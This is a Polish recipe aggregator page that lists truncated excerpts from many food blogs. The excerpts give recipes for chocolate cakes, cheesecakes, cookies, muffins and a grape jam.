Wspaniała gratka dla miłośników chałwy. Taki tort zażyczył sobie mój starszy syn na swoje urodziny. Był bardzo smaczny i szybko znikał. Krem puszysty i delikatny. Ja posypałam orzeszkami w czekoladzie, ale można zastąpić je rodzynkami lub inną posypką. W zakładce Ciasta znajdziecie również inne przepisy na wypieki oraz na ciasta bez pieczenia. Biszkopt kakaowy (tortownica 24cm) 6 jajek rozm(...)masę, a następnie dodać pokruszoną chałwę i zmiksować na gładko. Miksując dodawać po łyżce ugotowanego budyniu. Powstanie nam puszysty delikatny krem. Dodatkowo 1 słoiczek dżemu (dałam truskawkowy) orzeszki w czekoladzie 10 herbatników drobno zmiksowanych Składanie ciasta blat biszkoptu dżem 1/3 kremu blat biszkoptu dżem 1/3 kremu blat biszkoptu krem na wierzch ciasta  i posmarować boki obsypać boki ciasta pokruszonymi

O kuchni z uczuciem
szybkowar-domowy dżem z ciemnych winogron z czekoladą... 180

Składniki: ciemne winogrona mocno dojrzałe 4 kg, woda 1,5 litra, czekolada gorzka 100 gram, cukier 3/4 kg, żelfix 3:1 1 opakowanie zawsze owoce gotuję bez cukru w szybkowarze i owoce nie przpalają się do dna garnka = kiście dojrzałych mocno ciemnych winogron dobrze opłukać, obrywać owoce do garnka szybkowara do garnka szybkowara wlać wodę, po zasyczeniu pary gotować(...)łyżką przecierać do garna owoce do przetartych owoców wlać z 2 szklanki soku co pozostał (resztę soku słodzę, dolewam wody przegotowanej i jest sok do picia), wsypać cukier, czekoladę, żelfix 3:1, gotować z 5 minut mieszając przelewać od razu gorące do czystych słoików, zakręcić mocno i zostawić na zakrętkach postawione do wystygnięcia przechowywać w ciemnym, chłodnym miejscu - domowy dżem

W Mojej Kuchni Lubię
Bezglutenowe Brownie, czyli prosty przepis na ciasto czekoladowe krok po kroku 117

poprawę humoru, kiedy pada deszcz Brownie piekę w tortownicy o średnicy 22 cm . Przepis na bezglutenowe brownie – krok po kroku Do przygotowania ciasta będziecie potrzebować: 2 tabliczki gorzkiej czekolady (po 100 g każda) 250 g margaryny lub masła 4 średnie lub duże jajka (albo 5 małych) 70 – 100 g cukru zwykłego lub brązowego (w zależności od tego, jak słodkie ciasta(...)oczyszczonej (warto ją dodać, aby ciasto bardziej wyrosło) Sposób przygotowania: 1. Margarynę (masło) rozpuszczamy w garnku na małym ogniu, uważając, aby się nie przypaliła. 2. Następnie do tłuszczu dodajemy czekoladę połamaną na kostki i mieszamy do całkowitego rozpuszczenia, po czym odstawiamy do ostygnięcia (całość powinna być lekko ciepła przed połączeniem z resztą składników). 3. Tortownicę smarujemy tłuszczem i wykładamy papierem

Okiem Blondynki by McBlondi
Sernikobrownie ze śliwkami na mące kokosowej 147

zapomniałam dodać. Nie miało to jednak wpływu na jego smak, a i trochę kalorii zaoszczędziłam. Masa serowa jest niezwykle kremowa, bo w połowie zawiera ricottę. Ciasto: 200 g gorzkiej czekolady 2/3 słodkiej śmietanki 18% 1 i 1/4 mąki kokosowej (pszennej potrzeba nieco więcej) 2/3 szklanki cukru cukier waniliowy (2 łyżeczki) 3 jajka 2 łyżeczki proszku do pieczenia Masa serowa(...)ricotty 400 g śmietankowego serka homogenizowanego 4 jajka 2/3 szklanki cukru cukier waniliowy (2 łyżeczki) oraz ok. 600 g śliwek węgierek Przygotować ciasto. Czekoladę połamać, włożyć do miseczki, wlać śmietankę, rozpuścić i ostudzić. Jajka zmiksować z cukrem i cukrem waniliowym, wlać czekoladę i zmiksować, dodać mąkę kokosową połączoną z proszkiem do pieczenia i zmiksować na małych obrotach miksera. Ciasto

Czerwień i błękit
ORZECHOWE CHOCOLATE CHIP COOKIES 144

SKŁADNIKI / 18 ciastek 100 g masła 100 g masła orzechowego 150 g cukru 1 jajko 150 g mąki pszennej (1 szklanka) 1 łyżeczka proszku do pieczenia 100 g gorzkiej czekolady WYKONANIE Masło, masło orzechowe i jajko ocieplamy w temperaturze pokojowej. Czekoladę kroimy w drobną kostkę. Blachę z wyposażenia piekarnika wykładamy papierem do pieczenia. Piekarnik nagrzewamy do 180℃, z funkcją góra(...)minut). Dodajemy jajko i ubijamy jeszcze 3 minuty. Wprost do miski z masą maślaną przesiewamy mąkę i proszek do pieczenia. Krótko miksujemy, tylko do połączenia składników. Dodajemy posiekaną czekoladę i delikatnie mieszamy. Łyżką nabieramy porcje masy i w dłoniach formujemy zgrabne kulki. Układamy na blaszce z zachowaniem odstępów, po 9 sztuk na jedną partię, lekko spłaszczamy. Wstawiamy do piekarnika

cool and minty
Ciasteczka owsiane z żurawiną – pomysł na przekąskę 136

naszego organizmu. Infekcje układu moczowego rzadziej nas dotykają. Orzechy natomiast powinno się jeść minimum raz w tygodniu w celu obniżenia poziomu cukru we krwi i obniżają zły cholesterol. Czarna czekolada to źródło magnezu, która działa na nasz organizm rozkurczowo. Jeżeli jesteście uczuleni na jakikolwiek składnik można go zamienić dowolnie przez siebie wybrany. Ciasteczka możesz zapakować w celofan i wręczyć komuś(...)mąki ( możesz użyć pełnoziarnistej lub pszennej) 60 g cukru 8 g cukru waniliowego 1 łyżeczka proszku do pieczenia 50 g orzechów włoskich lub laskowych 3-4 kostki gorzkiej czekolady (ilość wedle uznania) Szczypta soli 3 jaja Ciasteczka owsiane z żurawiną – przepis Musisz rozpuścić na patelni masło, następnie dodaj płatki owsiane, upraż je na złoty kolor uważaj nie mniej jednak

Kulinarnyblog.pl - wiesz jak gotować!
KOSTKA CZEKOLADOWO-KAWOWA 136

Pyszne czekoladowo-kawowe ciacho, to gratka nie tylko dla wielbicieli kawy i czekolady. Choć osobiście nie jestem fanką ani jednego, ani drugiego, to sama się sobie dziwię i nie wiem jak to możliwe..., ale to ciacho zauroczyło mnie totalnie. Polecam zarówno na wielkie jak i mniejsze imprezy, na pewno zrobi furorę. Choć u mnie (z różnych względów) bez dodatku konfitury(...)czekoladowy biszkopt konfiturę owocową, np.wiśniową (ja pominęłam), na niej rozsmarowujemy masę kawową i odstawiamy do lodówki, na ok.1h. Polewa czekoladowa: - 200ml kremówki 30% - 2 łyżki masła - 200g czekolady deserowej Śmietanę ubić na sztywno, następnie zagotować w rondelku. Odstawić z palnika, dodać masło, wymieszać. Następnie dodać połamaną na kawałki czekoladę i mieszać do jej całkowitego rozpuszczenia. Polać i rozprowadzić

Smaczne Zdrowe
Sernik piernikowo-dyniowy 99

Ostatnio złapał mnie ogromny smak na sernik dyniowy oraz na piernika z czekoladą. Nie mogłam się zdecydować co upiec, a czasu miałam niewiele, więc postanowiłam zrobić dyniowy sernik z dodatkiem pierniczków, które jakiś czas dostałam Fabryki Cukierniczej Kopernik. Sernik wyszedł słodki, niesamowicie kremowy i delikatny. Dosyć spory, więc warto go przygotować, gdy planujemy mieć gości :) 800 g zmielonego twarogu(...)puree z dyni 3 jajka 2/3 szklanki cukru trzcinowego skórka starta z całej sparzonej pomarańczy łyżka mąki pszennej piernikowy spód: 200 g dowolnych pierników (ja użyłam pierników w czekoladzie, nadzianych dżemem) na wierzch: 2-3 dowolne pierniki (użyłam nadziewanych, w białej czekoladzie) 3 łyżki zagęszczonego, słodoznego mleczka kakaowego Piekarnik nagrzewamy do 180 stopni. Twaróg miksujemy z puree z dyni, cukrem

Mienta blog
na szybko murzynek przekładany dżemem... 118

gram, kakao 4 łyżki, woda 10 łyżek, cukier 1 szklanka, jajka 3 sztuki "L", proszek do pieczenia 3 łyżeczki, mąka tortowa 1,3/4 szklanki, dżem śliwkowy 250 ml, czekolada gorzka 100 gram, lukier biały - w opisie margarynę, wodę, kakao, cukier, zagotować i ostudzić, do wystudzonej masy wsypać mąkę z proszkiem do pieczenia, wbić jajka, połowę startej czekolady i mikserem wszystko(...)połowę, posmarować dżemem, nakryć ciastem, lekko przycisnąć lukier: 3/4 szklanki pudru cukru wymieszać z sokiem z cytryny na tyle, aby był dość płynny, polać ciasto i posypac resztą startej czekolady - ciasto jest po prostu pysznie smaczne...........SMACZNEGO

W Mojej Kuchni Lubię
Czekoladowe ciasto bez pieczenia, wegańskie, bez glutenu 223

Czekoladowe ciasto bez pieczenia Składniki - spód: 1 szklanka rodzynek 1 szklanka żurawiny pół szklanki wiórków kokosowych 2 łyżki masła kokosowego Składniki - czekolada: 2 puszki mleka kokosowego (tylko stała część, w miarę możliwości:)) pół czekolady gorzkiej (nie miałam więcej :)) 3 łyżki kakao 1 łyżka wiórków kakaowca 1 łyżka masła  kokosowego agawa Wszystkie składniki na spód zblendowałam. Jeśli składniki(...)zbyt suche, aby się połaczyły, należy dodać więcej masła kokosowego. Gotową masę wyłożyłam do tortownicy i wstawiłam do lodówki. W międzyczasie do garnka wrzuciłam masło kokosowe, mleko kokosowe, czekoladę, agawę, kakao, na sam koniec dodałam wiórki kakaowca. Wszystkie składniki podgrzałam, jednocześnie mieszając. Gotową masę wystudziłam i wyłożyłam na spód. Ciasto ponownie powędrowało do lodówki... w naszym przypadku na kilka godzin

nietadieta
SERNIK STRACIATELLA Z WIŚNIAMI (na gryczanym spodzie) 186

sera (może być z wiaderka) 4 jajka 1/2 szklanki cukru 2 budynie waniliowe bez cukru (po 40 g) 200 ml śmietany 30% 1-2 łyżki cukru pudru 100 g czekolady gorzkiej Dodatkowo: 1 słoiczek wiśni deserowych Rolnik Wykonanie: Spód: Płatki gryczane mielimy na miałko. Masło rozpuszczamy w rondelku. Do zmielonych płatków dodajemy kakao, miód oraz roztopione masło. Mieszamy dokładnie łyżką(...)mikserem z cukrem, a następnie dodajemy porcjami zmielony biały ser. Nie przerywając miksowania dodajemy budynie waniliowe. Zimną śmietankę ubijamy w osobnym naczyniu razem z cukrem pudrem na sztywną masę. Czekoladę gorzką ścieramy na tarce o grubych oczkach. Do masy serowej dodajemy ubitą śmietanę i delikatnie mieszamy łyżką drewnianą. Na końcu wrzucamy startą gorzką czekoladę i całość mieszamy, również delikatnie. Gotową

Kuchnia MagdaLeny
Tort biszkoptowy z kremem budyniowym, ananasem i drugi rok bloga. 145

litra mleka każdy ) 4 kopiaste łyżki cukru pudru 25 dag margaryny ,, Kasia'' 1 puszka ananasa w syropie Pianka: 1 śmietana typu ,,Śnieżka'' 150 ml zimnego mleka 5 dag białej czekolady Dodatkowo: 1 wafelek czekoladowy ( 5 dag ) Wykonanie: 1. Biszkopt jasny: Białka ubijamy na sztywną pianę, wsypujemy cukier i ubijamy do całkowitego rozpuszczenia się cukru, następnie dodajemy żółtka i chwilę ubijamy(...)kroimy w kostkę. 5 łyżek kremu odkładamy do posmarowania boków. Do pozostałego dodajemy ananasy i mieszamy. 4. Przekładanie: Krążki ciasta przekładamy kremem. Boki i wierzch smarujemy odłożonym. 5. Pianka: Czekoladę rozpuszczamy w kąpieli wodnej i studzimy. Śmietanę ,, Śnieżkę '' ubijamy z mlekiem aż będzie puszysta. Następnie dodajemy płynną wystudzoną czekoladę i dokładnie ubijamy. 6. Dekorowanie: Śmietankę przekładamy do rękawa cukierniczego

Izabelawkuchni
Sernik na kruchym cieście z wiśniami. 150

pomysłów. To ciasto akurat bardzo lubimy. Polecam Wam taki sernik, można go upiec na świąteczny stół. Idealnie kruche ciasto, aksamitna masa serowa, pachnące wiśnie i słodkie dodatki, bita śmietana, czekolada i migdały...czego chcieć więcej. Idealnie pasuje z filiżanką aromatycznej kawy. Do upieczenia sernika użyłam składników, które otrzymałam od  HELIO w ramach  świątecznej współpracy . Produkty bardzo polecam. Zapraszam(...)szklanka śmietanki kremówki 30 % cukier puder do smaku 1 łyżeczka żelatyny 50 ml gorącej wody Dodatkowo: 4 łyżki wiórek kokosowych mąka pszenna do posypania stolnicy 5 dag mlecznej czekolady 3 łyżki płatków migdałowych Wykonanie: 1. Ciasto: Z podanych składników zagniatamy ciasto. Następnie wałkujemy je na lekko posypanej mąką stolnicy i wykładamy do blaszki wyłożonej papierem do pieczenia o wymiarach około

Izabelawkuchni
Ciasto ,, Ślimak ''. 146

Dodatkowo: 1 brzoskwiniowa galaretka 250 ml gorącej wody Wypełnienie ciasta: 1 puszka ananasa w syropie 1 puszka brzoskwiń w syropie 2 brzoskwiniowe galaretki 750 ml gorącej wody 5 dag czekolady mlecznej pół szklanki rodzynek Wykonanie: 1. Biszkopt: Białka ubijamy na sztywną pianę. Następnie stopniowo wsypujemy cukier i ubijamy do całkowitego rozpuszczenia się cukru, dodajemy żółtka i chwilę ubijamy. Na koniec(...)zwijamy rolady. Pozostały krem rozsmarowujemy na biszkopcie, następnie po obu jego brzegach układamy rolady. 5. Wypełnienie: Galaretki rozpuszczamy w 750 ml gorącej wody i odstawiamy do lekkiego stężenia. Czekoladę kroimy w drobną kosteczkę. Ananasy i brzoskwinie odsączamy dokładnie z syropu i kroimy w większą kostkę. Gdy galaretki zaczną lekko tężeć wrzucamy do niej rodzynki, czekoladę, ananasy i brzoskwinie, dokładnie mieszamy

Izabelawkuchni
Kasza jaglana zapiekana o smaku chałwy. 122

Uwielbiam kaszę jaglaną i na słodko i na wytrawnie. Dzisiaj zapraszam Was na słodką wersję o pysznym chałwowym smaku, do tego bakalie i czekolada, no i powstało coś pysznego. Polecam na deser i podwieczorek. Zapraszam :) Składniki: 15 dag kaszy jaglanej szczypta soli woda gorąca 10 dag ulubionej chałwy 4 łyżki rodzynek 2 łyżki wiórek kokosowych cukier do smaku masło(...)posmarowania kokilek 4 kostki mlecznej czekolady Wykonanie: 1. Kaszę gotujemy według przepisu na opakowaniu ze szczyptą soli. Ugotowaną przekładamy do miski i lekko studzimy. Do takiej lekko ciepłej wkruszamy chałwę i dokładnie mieszamy. 2. Następnie do kaszy dajemy wiórki kokosowe, rodzynki i ewentualnie cukier do smaku, dokładnie mieszamy. 3. Foremki kokilki smarujemy cieniutko masłem, następnie przekładamy do nich kaszę lekko

Izabelawkuchni
Ciasto z musem truskawkowym i jogurtową pianką. 156

naturalnego typu greckiego 1 galaretka zielona np. agrestowa 250 ml gorącej wody Mus truskawkowy: około 30 dag świeżych truskawek 1 cytrynowa galaretka cukier do smaku Dodatkowo: 10 dag mlecznej czekolady Wykonanie: 1. Biszkopt: Białka ubijamy na sztywną pianę. Następnie stopniowo wsypujemy cukier i ubijamy do całkowitego rozpuszczenia się cukru, dodajemy żółtka i chwilę ubijamy. Na koniec wsypujemy mąkę i proszek(...)smaku i dokładnie mieszamy. Mus odstawiamy do lekkiego stężenia. Następnie tężejący mus wykładamy na piankę i wstawiamy do lodówki do stężenia na co najmniej kilka godzin. 4. Podanie: Czekoladę ścieramy na tarce o dużych oczkach. Dobrze stężone ciasto kroimy na kawałki takie jakie chcemy podać, dekorujemy je startą czekoladą i podajemy. 5. Życzę smacznego. Rady: Szklanka do odmierzania składników

Izabelawkuchni
Deser z czekoladowym makaronem i truskawkami. 104

się przekonacie. W takim deserze znajdują się pyszne, słodkie i pachnące latem truskawki, serek waniliowy, uwielbiana przez dzieci galaretka i pyszny czekoladowy makaron, całości deseru dopełnia bita śmietana i czekolada. Polecam przygotować na podwieczorek, będzie sycąco i pysznie, dodam, że taki deser doskonale się sprawdzi na przyjęciu, a mocno schłodzony doskonale orzeźwi. Zapraszam:) Składniki: Warstwa z makaronem: 1 szklanka czekoladowego(...)łącznie ) 10 dag świeżych truskawek Mus truskawkowy: 20 dag świeżych truskawek ewentualnie cukier do smaku Śmietanka: 200 ml śmietanki kremówki cukier puder do smaku Dodatkowo: 4 kostki mlecznej czekolady 1 galaretka truskawkowa 250 ml gorącej wody Wykonanie: 1 Makaron gotujemy według przepisu na opakowaniu, odcedzamy i studzimy, od czasu do czasu delikatnie mieszamy, żeby się nie posklejał. Następnie przekładamy

Izabelawkuchni
Ciasteczka krówkowe z czekoladą. 138

masła lub margaryny 1 duże jajko 1 płaska łyżeczka proszku do pieczenia 2 kopiaste łyżki masy krówkowej o smaku orzechowym Dodatkowo: mąka pszenna do posypania stolnicy 10 dag mlecznej czekolady dowolna cukrowa posypka Wykonanie: 1. Z podanych składników zagniatamy ciasto. Następnie formujemy kulki, które lekko spłaszczamy i układamy na blaszkach wyłożonych papierem do pieczenia. 2. Ciasteczka pieczemy do zrumienienia(...)temperaturze 180 stopni przez około 20 minut. Upieczone zdejmujemy z blaszki i studzimy. 3. Gdy ciasteczka się studzą roztapiamy czekoladę w kąpieli wodnej. Następnie smarujemy nią połowę każdego ciasteczka i posypujemy cukrowa posypką. Odstawiamy do zastygnięcia czekolady. 4. Podajemy i smacznego życzę. Rady: Szklanka do odmierzania składników o pojemności 250 ml. Z przepisu wyszło mi dwie blaszki ciasteczek. Ciasteczka podałam

Izabelawkuchni
Sernik z chałwową pianką i malinami. 132

sernik jest bardzo pyszny, taki najlepszy. Połączenie sernika z chałwą, malinami i czekoladą jest cudowne. Do tego bardzo cieniutkie kruche ciasto. Czy może być coś pyszniejszego niż kawałeczek sernika rozpływającego się w ustach? A jak jest u Was? Lubicie serniki? Zapraszam :) Ciasto: 1 szklanka mąki tortowej 10 dag masła lub margaryny 1 jajko pół szklanki cukru pudru 1 płaska łyżeczka(...)kremówki 30 % cukier puder do smaku 10 dag ulubionej chałwy ( u mnie smak waniliowy ) 1 łyżka żelatyny 3 łyżki gorącej wody Dodatkowo: 2 szklanki świeżych malin 5 dag mlecznej czekolady mąka pszenna do posypania stolnicy 1 łyżka kaszy manny Wykonanie: 1. Ciasto: Z podanych składników zagniatamy ciasto. Następnie wałkujemy na lekko posypanej mąką stolnicy i wykładamy do blaszki wyłożonej papierem

Izabelawkuchni
Budyniowe ciasteczka z czekoladą i rodzynkami. 542

tortowej 1 budyń waniliowy ( na pół litra mleka i bez cukru ) pół szklanki cukru pudru pół szklanki rodzynek 2 średnie jajka 1 łyżeczka proszku do pieczenia 5 dag mlecznej czekolady 15 dag masła lub margaryny Dodatkowo: mąka pszenna do posypania stolnicy Wykonanie: 1. Czekoladę kroimy w drobną kosteczkę. 2. Z podanych składników zagniatamy ciasto, dodajemy również pokrojoną czekoladę. ( Budyń dodajemy

Izabelawkuchni
Czekoladowe ciasto z malinami. 130

Lubicie ciasta czekoladowe? Jeśli tak to mam dla Was bardzo pyszniutkie i proste w wykonaniu ciasto. Wilgotne od czekolady i malin, takie idealne na podwieczorek. Spróbujcie, bardzo polecam. Osobiście to ze zdjęć jestem mało zadowolona, ale taka ponura pogoda za oknem, że nie potrafię zrobić ładniejszych zdjęć. Zapraszam na ciasto :) Składniki: 4 jajka 1 szklanka cukru pół szklanki oleju(...)łyżeczki proszku do pieczenia 2 szklanki mąki tortowej 2 kopiaste łyżki kakao 2 łyżki mąki ziemniaczanej 5 dag mlecznej czekolady 1 cukier waniliowy 2 szklanki świeżych malin Wykonanie: 1. Jajka wbijamy do miski, wsypujemy cukier i cukier waniliowy, miksujemy, aż masa będzie puszysta, kolejno wlewamy olej i miksujemy kilka minut. Następnie wsypujemy kakao, proszek do pieczenia i obie mąki, miksujemy

Izabelawkuchni
Sernik z pierniczkami i lekką pianką. 284

śmietanki kremówki 30 % cukier puder do smaku 2 kopiaste łyżki mleka w proszku 1 płaska łyżka żelatyny 3 łyżki gorącej wody Dodatkowo: 40 dag pierników w czekoladzie nadziewanych 5 dag mlecznej czekolady Wykonanie: 1. Masa serowa: Masło lub margarynę ucieramy z cukrem, cukrem waniliowym i żółtkami na puszystą masę, następnie wsypujemy budynie w proszku i dodajemy ser i olejek pomarańczowy(...)dodajemy żelatynę i dokładnie ubijamy. Piankę wykładamy równomiernie na zimnym serniku i wkładamy do lodówki do stężenia na kilka godzin. Po tym czasie sernik kroimy. 5. Dekoracja i podanie: Czekoladę ścieramy na tarce o dużych oczkach, posypujemy nią każdy kawałek sernika i podajemy. 6. Smacznego życzę. Rady: Zamiast sera w wiadereczku można użyć inny ser, ale należy go zmielić

Izabelawkuchni
Sernik bez spodu. 132

piekarniku nagrzanym do 150 stopni przez 1 godzinę i 50 minut. Po wyłączeniu piekarnika nie otwierałam go tylko zostawiłam tak sernik na kilka godzin do przestudzenia. Polewa: 50 g czekolady mlecznej 50 g. czekolady gorzkiej 4 łyżki mleka Czekoladę połamać na kawałki i wrzucić do rondelka. Podgrzewać na małym ogniu cały czas mieszając, dodać mleko. Mieszać aż powstanie jednolita polewa

Agusiowe smakołyki
Muffinki kukurydziane z owocami goji 134

Przedstawiam Wam pyszne, kukurydziane muffiny z jagodami goji i kawałkiem gorzkiej czekolady, która rozpuszcza się w ustach. Szybkie do przygotowania i smaczne! :) Zapraszam... Składniki: 1,5 szkl mąki kukurydzianej (u mnie PAN) 1 łyżeczka proszku do pieczenia (u mnie bezglutenowy 1 banan 1/2 szkl cukru 1/2 szkl oleju 1 szkl mleka garść owoców goji kawałki gorzkiej czekolady Wykonanie: Mąkę wymieszać(...)proszkiem, dodać cukier, mleko, olej i zmiksować. Dodać poduszonego widelcem banana i owoce goji. Wymieszać. Ciasto przełożyć do papilotek, w każdą z muffinek wbić kawałek gorzkiej czekolady. Piec ok 20 minut w temperaturze 190 stopni. Smacznego

Trufelkowo
Tort Monte 151

manną). Piec ok 30 minut w piekarniku nagrzanym do 180 stopni. (w zależności od pieca) Teraz przejdźmy do kremu nr I i kremu nr II Składniki: 1/3 tabliczki białej czekolady 2/3 tabliczki gorzkiej czekolady 30 g masła 1/2 l kremówki 36% 250 g serka mascarpone 1 serek duży Monte dodatkowo: 200 g orzechów (MIX - migdały, orzechy brazylijskie, orzechy nerkowca(...)włoskie) garść rodzynek namoczonych w Whisky płatki migdałów Wykonanie: W kąpieli wodnej rozpuścić białą i gorzką czekoladę, dodać masło i wymieszać na gładką masę. Ostudzić. W misce ubić na sztywno kremówkę, dodać przestudzoną masę czekoladową, cały czas miksując na średnich obrotach, po chwili dodać stopniowo serek mascarpone i miksować. 1/3 masy wyłożyć na pierwszą część biszkoptu. Przykryć drugą częścią

Trufelkowo
Muffiny pełne czekolady 100

Dzisiaj mam dla Was pyszne pełne czekolady muffiny, takie bomby czekoladowe! Idealne na taką deszczową pogodę, jaka panuje za oknem. Oj jak ja bym chciała wiosnę, albo jeszcze bardziej lato... Ale w taką pogodę jak dziś, trzeba się ratować słodkościami. :) Muffinki przygotowane z przepisu Wedla (na stronie Wedla konkurs - wielkie testowanie przepisów - same pyszności!). Składniki: 2 jajka 160 g cukru(...)masła 200 ml mleka 40 g gorzkiego kakao 300 g mąki tortowej 10 g proszku do pieczenia 5 g sody 1 tabliczka gorzkiej czekolady 10 cukierków "mieszanki wedlowskiej" (oprócz tych z galaretką) Wykonanie: Jajka ubić mikserem z cukrem. Masło rozpuścić, mąkę przesiać i wymieszać z proszkiem do pieczenia, sodą i kakao. Do masy jajecznej stopniowo i na przemian dodawać masło

Trufelkowo
Ciastka-Lizaki Pieguski 172

TOTA 1 łyżeczka proszku do pieczenia szczypta soli 5 łyżek cukru brązowego 80 g masła 100 g masła orzechowego (100% orzeszki arachidowe) 1 jajko 100 g gorzkiej czekolady 3 łyżki orzechów włoskich 1 łyżka suszonej żurawiny dodatkowo: patyki do szaszłyków opcjonalnie wiórki kokosowe kokardki do ozdoby patyczków Wykonanie: Orzechy włoskie zblendować na sypką masę. Czekoladę posiekać. Mąkę przesiać do miski(...)minuty do uzyskania jednolitej masy, dodać jajko mieszać za pomocą miksera jeszcze 2 minuty. Stopniowo dodać mąkę wymieszaną z proszkiem i ubijać na mniejszych obrotach. Na koniec dodać czekoladę, orzechy i żurawinę. Wymieszać ręką i formować ciastka. Wbić do każdego patyk. Można posypać wiórkami kokosowymi. Piec ok 25-30 minut w temperaturze 175 stopni. Wystudzić. Na każdym patyczku zawiązać kokardkę

Trufelkowo
Banoffee pie bez pieczenia 909

podstawowej wersji banoffee dodawana jest tylko śmietana, ja jednak, aby ciasto dłużej zachowało formę, połączyłam ją z serkiem mascarpone. Co więcej, zamiast kakao, do posypania wierzchu użyłam gorzkiej czekolady, która fajnie przełamała w masie krówkowej słodki smak karmelu. Jeśli dodajemy kakao to, należy nim ciasto posypać tuż przed podaniem, inaczej wierzch stanie się nieco wilgotny i ciasto straci wygląd. Ciasto(...)banany  2 łyżki soku z limonki  300 ml śmietany 30% (schłodzić)  250 g serka mascarpone  2 - 3 łyżki cukru pudru  100 g czekolady deserowej z 50% kakao lub naturalne kakao  Jak zrobić ciasto banoffee pie? Herbatniki rozdrobnić i połączyć z roztopionym masłem i posiekanymi migdałami, następnie masą pokryć dno foremki wyłożonej papierem do pieczenia

Kuchcik gotuje
kostka cappuccino 276

składniki na 1 ciasto czekoladowe: (pieczemy dwa takie ciasta lub podwajamy porcje a po upieczeniu przekrawamy na dwa blaty) 70 g mąki orkiszowej lub pszennej 60 g czekolady, gorzkiej 80 g cukru 1 łyżka kawy rozpuszczalnej 1 łyżka gorącej wody 3 jajka (białka oddzielone od żółtek) 70 g masła, miękkiego (w temperaturze pokojowej) 1/2 łyżeczki proszku do pieczenia dodatkowo(...)wystudzonego, mocnego naparu kawy lub likier kawowy do naponczowania wykonanie: Czekoladę rozpuszczamy w kąpieli wodnej a następnie odstawiamy do przestudzenia. Do kawy dodajemy wodę i mieszamy. Masło ucieramy lub miksujemy z cukrem na w miarę puszystą masę. Dodajemy przestudzoną czekoladę, kawę i miksujemy. Następnie dodajemy stopniowo żółtka, miksujemy po dodaniu każdego. Następnie dodajemy przesianą mąkę z proszkiem do pieczenia

Domowy Smak Jedzenia
Babeczki bananowe 135

Proste i pyszne babeczki oblane gorzką czekoladą... czego chcieć więcej 😊Sprawdzą się na przyjęcia dla dzieci lub jako słodka przekąska do szkoły lub pracy. Składniki: 2 dojrzałe banany  1,5 szklanki mąki pszennej  2 jajka 0,5 szklanki oleju  niecała szklanka cukru  1 łyżeczka sody oczyszczonej  2 łyżki kakao  Dodatkowo: 1 gorzka czekolada(...)nich ciasto i piec w temperaturze 180ºC  przez 50-60 minut. Odstawić babeczki do wystygnięcia i polać polewą czekoladową. Przygotowanie polewy: Mleko z masłem podgrzać, dodać pokrojoną czekoladę, odczekać i wymieszać.  Smacznego

Słodka Strefa
KRÓWKA BEZ PIECZENIA W PÓŁ GODZINY 192

temperaturze pokojowej, budyń waniliowy Cykoria, 500 ml mleka, 3 łyżki cukru, szczypta soli, łyżeczka mąki ziemniaczanej. Dodatkowo: 300 g herbatników, 2 puszki kajmaku (po 397 g), 50 g gorzkiej czekolady. Przygotowanie: Budyń wraz z cukrem i mąką ziemniaczaną rozrabiam w 100 ml, pozostałe 400 ml zagotowuję. Gdy mleko zacznie się gotować wlewam masę budyniową i cały czas mieszam do momentu(...)utworzył się kożuch). Masło ucieram z odrobiną soli aż będzie puszyste. Nie przestając miksować dodaję po łyżce budyniu - miksuję na najmniejszych obrotach do momentu dokładnego połączenia się masy. Część czekolady kroję drobno nożem, pozostałą część ścieram za pomocą obieraczki do ziemniaków lub na tarce. Blachę wykładam folią spożywczą. Układam warstwy ciasta: 1/3 herbatników, puszka kajmaku, 1/3 herbatników, masa budyniowa, pozostałe

JejKuchnia
Risotto z truskawkami i białą czekoladą 162

zawsze uwielbiałem ryż z truskawkami i śmietaną ale to zawsze było za mało. Więc połączyłem ryż arborio (do risotto) z laską wanilii, masłem, mlekiem bez laktozy i białą czekoladą, na domiar tego wszystkiego z pierwszymi truskawkami tego sezonu, lepiej się chyba nie da odświeżyć przepisu z dzieciństwa[...] Do przygotowania risotto potrzeba nam: 200 g ryżu arborio 300 ml mleka(...)laktozy 1 laska wanilii  pół tabliczki białej czekolady  1 łyżka masła woda, sól 10-15 dużych słodkich truskawek Samo przygotowanie to prostota, ryż wsypcie na patelnie i podlejcie odrobina wody tak aby go przykryć, gotujcie go w ten sposób aż woda nie odparuje, następnie zalejcie go mlekiem i wrzućcie rozciętą w pół laskę wanilii, wszystko trzeba dokładnie mieszać

Kuba Gotuje
Sernik z jabłkami na czekoladowym spodzie 299

sernikiem świątecznym...;) Polecam :). Ciasto czekoladowe: 110 g mąki pszennej tortowej 20 g mąki ziemniaczanej 3 duże jajka 150 g masła 50 g cukru trzcinowego 80 g miodu 100 g czekolady gorzkiej lub deserowej 2 łyżeczki cynamonu 2 łyżeczki proszku do pieczenia Masa serowa: 1 kg twarogu tłustego lub półtłustego lub dobrej jakości sera z wiaderka 3 duże jajka(...)Ciasto czekoladowe: Jajka powinny być w temperaturze pokojowej. W garnuszku umieścić masło i miód. Postawić na palniku i podgrzewać do rozpuszczenia. Kiedy masło i miód się rozpuszczą, dodać połamaną czekoladę i dalej podgrzewać mieszając, do rozpuszczenia czekolady i połączenia wszystkich składników. Nie gotować. Dodać cynamon i wymieszać. Odłożyć do przestudzenia. Mąkę pszenną, mąkę ziemniaczaną oraz proszek do pieczenia przesiać

Opowieści z piekarnika
MURZYNEK KAWOWY Z MIGDAŁAMI NA BĄBELKACH 164

migdałów (część migdałów może być grubo zmielona) 1/2- 3/4 szklanki mąki  2 łyżeczki kakao 4-5 łyżeczek kawy rozpuszczalnej 2 łyżeczki proszku do pieczenia szczypta soli 50 g czekolady gorzkiej 1 łyżka masła garść dropsów czekoladowych Wykonanie: W misce ucieramy żółtka z cukrem za pomocą miksera aż zjaśnieją. Następnie dodajemy do nich porcjami wodę mineralną gazowaną, nie przerywając miksowania(...)Składniki suche dodajemy porcjami do składników mokrych, cały czas miksując. Gotową masę przekładamy do keksówki wyłożonej papierem do pieczenia. Pieczemy w temp. 180 stopni przez 30-35 min. Studzimy. Czekoladę gorzką topimy z masłem w kąpieli wodnej. Stopioną czekoladą polewamy ostudzone ciasto i posypujemy dropsami czekoladowymi. P.S. Przepis pochodzi z mojego bloga ALE Ciachoo

Kuchnia MagdaLeny
Ciasteczka francuskie z śliwką i kremem serowym 163

